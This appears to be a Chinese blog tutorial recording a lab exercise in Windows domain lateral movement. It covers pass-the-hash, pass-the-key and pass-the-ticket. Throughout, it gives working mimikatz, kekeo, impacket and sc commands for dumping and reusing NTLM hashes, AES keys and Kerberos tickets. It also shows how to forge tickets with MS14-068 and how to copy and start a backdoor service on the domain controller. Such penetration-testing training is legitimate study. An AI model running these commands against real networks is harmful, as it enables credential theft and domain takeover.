内网渗透—横向移动&PTH横移&PTK横移&PTT横移

前言

仍是横向移动的内网,今天主要是PTH、PTK、PTT这三个横移的知识点。

实验环境

不必多说,依旧是和之前的一样。

web服务器:192.168.145.138,192.168.22.31
DC域控:192.168.22.30
内网主机1:192.168.22.29
内网主机2:192.168.22.28

同样实验开始之前,先生成后门放到web服务器上面去运行,使其上线CS,并且提权至system权限。

PTH横移

PTH全称叫做Pass The Hash,就是hash传递。前期我们信息收集抓取到的hash可以通过PTH来进行横向移动,也就是利用hash来去登录其它的内网主机。前面我们说过Wmi,IPC横移也可以使用hash来传递。但那是在内网主机开启了135和445端口的前提下,本次的三种方法适用于内网主机关闭了135和445等共享端口以及服务。

Windows Hash介绍

在用户登录计算机时,用户的账号密码都是通过加密,以hash的方式存储在计算机中的。而这中加密方式一般是不可逆的算法,当用户想要登陆计算机成功,那么计算机就会对用户的密码进行hash处理,同时与数据库内的hash进行对比,倘若正确,那么便成功登录。Windows中用户账户密码加密的hash分为两种,分别是LM Hash和NTLM Hash。在Windows Server2012之前用的是LM和NTLM,但在2012以及之后都是只用NTLM了。因为,当密码大于15位的时候LM就无法使用了,所以在后续的系统中就禁用了LM Hash。

minikatz

Mimikatz 是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而 mimikatz 正是通过对lsass逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

下载地址:GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security

先对web服务器抓取密码,可以看到分为LM hash和NTLM hash。一般我们使用的是NTLM hash来进行传递,顺便说一下PTH想要利用成功,一个前提条件是没打KB2871997补丁。打了补丁就只能连接administrator用户。

运行下面的命令,因为minikatz是CS自带的所以不需要加shell。

mimikatz sekurlsa::pth /user:administrator /domain:192.168.22.30 /ntlm:ae7cb5a96c2a31d4c66be99737f48f8c

但是命令在CS执行不会有任何回显,而是在web服务器弹出个黑窗.....,没错就是直接在对方的服务器弹个黑窗。理论上不太可行,但是嘛人有多大胆,地有多大产。

在新弹出的黑窗连接30主机试试看

dir \\192.168.22.30\c$   (地址不识别的话可以换成计算机名)

上线也是很简单的,和之前差不多,在30主机上下载个后门,然后运行即可。先生成一个后门放到web服务器上,然后在黑窗执行命令复制后门到30主机。

copy c:\2222.exe \\192.168.22.30\c$

添加一个SC的任务,然后再执行它。

sc \\192.168.22.30 create shell binpath= "c:\2222.exe"
sc \\192.168.22.30 start shell

顺便记录一下sc命令的用法。

SC
描述:
        SC 是用来与服务控制管理器和服务进行通信的命令行程序。
用法:
        sc <server> [command] [service name] <option1> <option2>...
        
        <server> 选项的格式为 "\\ServerName"
        可通过键入以下命令获取有关命令的更多帮助: "sc [command]"
        命令:
          query-----------查询服务的状态,
                          或枚举服务类型的状态。
          queryex---------查询服务的扩展状态,
                          或枚举服务类型的状态。
          start-----------启动服务。
          pause-----------向服务发送 PAUSE 控制请求。
          interrogate-----向服务发送 INTERROGATE 控制请求。
          continue--------向服务发送 CONTINUE 控制请求。
          stop------------向服务发送 STOP 请求。
          config----------更改服务的配置(永久)。
          description-----更改服务的描述。
          failure---------更改失败时服务执行的操作。
          failureflag-----更改服务的失败操作标志。
          sidtype---------更改服务的服务 SID 类型。
          privs-----------更改服务的所需特权。
          managedaccount--更改服务以将服务帐户密码
                          标记为由 LSA 管理。
          qc--------------查询服务的配置信息。
          qdescription----查询服务的描述。
          qfailure--------查询失败时服务执行的操作。
          qfailureflag----查询服务的失败操作标志。
          qsidtype--------查询服务的服务 SID 类型。
          qprivs----------查询服务的所需特权。
          qtriggerinfo----查询服务的触发器参数。
          qpreferrednode--查询服务的首选 NUMA 节点。
          qmanagedaccount-查询服务是否将帐户
                          与 LSA 管理的密码结合使用。
          qprotection-----查询服务的进程保护级别。
          quserservice----查询用户服务模板的本地实例。
          delete ----------(从注册表中)删除服务。
          create----------创建服务(并将其添加到注册表中)。
          control---------向服务发送控制。
          sdshow----------显示服务的安全描述符。
          sdset-----------设置服务的安全描述符。
          showsid---------显示与任意名称对应的服务 SID 字符串。
          triggerinfo-----配置服务的触发器参数。
          preferrednode---设置服务的首选 NUMA 节点。
          GetDisplayName--获取服务的 DisplayName。
          GetKeyName------获取服务的 ServiceKeyName。
          EnumDepend------枚举服务依赖关系。

输入命令连接30主机即可上线,反向连接的我就不演示了。

connect to 192.168.22.30 2222

 impacket套件

impacket套件的hash传递就是我们之前文章说的,这里就不再演示了。

python psexec.py -hashes :ae7cb5a96c2a31d4c66be99737f48f8c ./administrator@192.168.22.30
python  smbexec.py -hashes :ae7cb5a96c2a31d4c66be99737f48f8c /administrator@192.168.22.30
python  wmiexec.py -hashes :ae7cb5a96c2a31d4c66be99737f48f8c /administrator@192.168.22.30

PTK横移

PTK全称Pass The Key,叫做密钥传递。原理是通过获取用户的ekeys,这是一个aes256的值,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。前提条件是主机打了KB2871997补丁。前面说过没打补丁:pth可以连接所有用户均可以连接,使用lm或ntlm连接。
打了补丁:pth只能连接administrator,而ptk所有用户均可以连接,使用aes256连接。

由于我的域控是Windows server2012包含了该补丁,所以就不用打了,输入命令获取加密密码。

mimikatz sekurlsa::ekeys

使用获取到的aes256进行连接。

mimikatz sekurlsa::pth /user:administrator /domain:192.168.22.30 /aes256: e4923edcaaeb40fa3c4126831eb2f7c72366f9a421df94f9f48b4af295c34387

然后会在对方的web服务器上弹出一个黑窗,输入命令连接但是不能成功。看了别人的文章,说是如果对方机器未开启aes验证,也是不满足漏洞利用条件的,所以这里又会出现一个限制。

PTT横移

PTT全称Pass The Ticket,叫做票据传递。简单来说就是通过伪造票据达到一个身份验证的目的,在Windows中,票据就相当于在web中的cookie或者session用户凭证。Pass-the-hash 和 pass-the-ticket 之间的一个主要区别是 Kerberos TGT ticket 会过期(默认为10小时),而 NTLM hashes 只有在用户改变密码时才会改变。因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。同时PTT的攻击不是利用简单的NTLM认证,而是利用kerberos协议进行攻击。

kerberos认证

Kerberos提供了单点登录(SSO,Single Sign-On)机制,对于每个会话只需向服务进行一次自我验证,即可自动保护该会话过程中所有后续事务的安全。整个认证过程涉及3方(所以以三头犬命名~):客户端、KDC、服务端(或者说应用服务器AP,比如web服务器)。

密钥分发中心KDC (Key Distribution Center)是 Kerberos 的核心组件,默认安装在域控里,由两个服务组成,分别是AS和TGS。

当 Client 想要访问 Server 上的某个服务时,需要先向 AS(Authentication Server,负责用户信息认证) 证明自己的身份,验证通 过后 AS 会发放的一个 TGT(Ticket Granting Tickets,黄金票据),随后 Client 再次向 TGS (Ticket Granting Server)证明自己的身份,验证通过后 TGS 会 发放一个 ST(Service Ticket,白银票据),最后 Client 向 Server 发起认证请求。

MS14-068

在MS14-068漏洞中,攻击者可以伪造自己的Kerberos票据。具体来说,攻击者可以构造一个声称自己具有域管理员权限的Kerberos票据,并将其发送给KDC。正常情况下,KDC在收到用户的票据请求后,会验证票据的签名以确保其真实性。然而,在MS14-068漏洞中,KDC未能正确验证伪造票据的签名。因此,即使票据是伪造的,KDC也会返回一个有效的TGT给攻击者。这个TGT使得攻击者(原本只是普通域用户)拥有了域管理员的权限。简单地说可以利用MS14-068这个漏洞,伪造用户TGT票据,从而达到普通用户提升为系统用户。

下载地址:MS14-068下载

先看一下当前用户身份,是普通的域内用户,记住SID后面要用到。

whoami/user

先清空票据,避免其它域用户的凭证会影响到伪造票据。

mimikatz kerberos::purge 清除凭证
shell klist purge 查看当前凭证

尝试连接域控,也就是30主机,权限不够被拒绝访问。

dir \\192.168.22.30\c$

现在利用MS14-068生成票据,但是我在本地怎么都生成不了。看了一下别人的文章,好像打了补丁的电脑就无法利用这个工具生成这个票据。

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

那我直接把这个工具上传到web服务器来生成吧,或者换其它电脑也行。

可以看web服务器的桌面生成一个票据。

用minikatz导入凭据,可以看到有效时间为10个小时。

mimikatz kerberos::ptc TGT_wlwnb666@god.local.ccache

再查看一下当前的凭证,可以看到我们刚刚导入的票据。

连接域控主机,注意这里如果是连接IP的话可能会显示拒绝连接,所以我们连接计算机名字。这里我没成功,不知道为啥,但是确确实实成功进去了。我查了一下windows server2012也没有相对应的补丁,就暂时不管它了,反正知道利用方式即可。整体来说我们利用了MS14-068将普通用户提升至域控管理权限。

dir \\DC.god.local\c$

kekeo

这个工具需要高权限,以及抓取到的NTLM hash(需要高权限)。有点鸡肋,我正是因为权限低我才通过票据传递来提升到域控权限的,既然我都高权限了,我还干它干嘛。原理呢就是当前主机如果与其他主机连或者域控接过,那么本地会生成了一些相应的凭据我们可以导出这些凭据,然后再导入凭据利用。该方法类似于cokie欺骗缺点:票据是有有效期的,所以如果当前主机在连接过域控的话,有效期内可利用。一句话,kekeo是利用自己获取到的NTLM hash值重新生成票据来验证。

下载地址:Release 2.2.0 20211214 Internals certificate · gentilkiwi/kekeo · GitHub

先清除凭据,防止干扰实验。

把我们下载好的kekeo.exe上传到web服务器上面,然后执行下面的命令生成票据。这里呢我们在CS上运行kekeo.exe的话会弹出一个黑框框,所以我们最后要加个“exit”命令退出它,否则就会在对方主机一直存在。后面的NTLM hash要与你前面的user相对应才行,如果说是存在大量的user和NTLM hash的话,那么你可以利用上次我们讲到的CrackMapExec这个工具进行密码喷洒,去验证user和hash的对应情况。

shell kekeo.exe "tgt::ask /user:administrator /domain:god.local /ntlm:ae7cb5a96c2a31d4c66be99737f48f8c" "exit"

导入票据,名字是你生成的那一个。

shell kekeo.exe "kerberos::ptt TGT_administrator@GOD.LOCAL_krbtgt~god.local@GOD.LOCAL.kirbi" "exit"

查看一下我们刚刚生成的票据。

输入命令尝试连接,可以成功,注意这里我是以普通用户的身份运行的。

shell dir \\DC.god.local\c$

本地票据进行传递

这个就是利用本地遗留下来的一些历史票据,进行传递验证。也就是说,你要是想要票据传递到域控,那么这个域管理账号得在本地登陆过,留下了票据才能成功,否则是不行滴。而且导出本地的历史票据的话也可能需要高权限,所以还是有点鸡肋。同样,实验前要先清除一下凭证。

清除凭证之后,就无法连接上了。

输入命令导出本地票据,可以在当前目录看到有很多。

mimikatz sekurlsa::tickets /export

接下来就是导入票据,这里我没导入成功。说实话我也不知道为啥会一直报错,看起来像是因为[0;3e4]里面这个分号的问题,但是我重命名去掉分号也还是不行。查了好多资料也没解决,这里我就不管它了,思路是没错的。有知道的大佬,还请指点一二。

mimikatz kerberos::ptt C:\Users\wlwnb666\Desktop\[0;11e073]-2-0-60a10000-Administrator@krbtgt-GOD.LOCAL.kirbi

如果你导入成功的话,就可以进行连接。

dir \\DC.god.local\c$

总结

如果说在smb、wmi协议以及135、445端口都被禁用的情况下,我们便可以使用本文说的这三种方法,如果说hash也被禁用掉了,那么就只能用票据进行传递了。

简单总结一下PTT的三种方法:

MS14-068是利用漏洞去伪造票据,如果打了相应的补丁的话就不行了。

kekeo是利用抓取到的NTLM hash去生成相对应用户身份的票据,成功与否主要看hash的正确性。

最后一个则是利用本地的历史票据,成功与否主要看本地有没有登录过域管账号。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值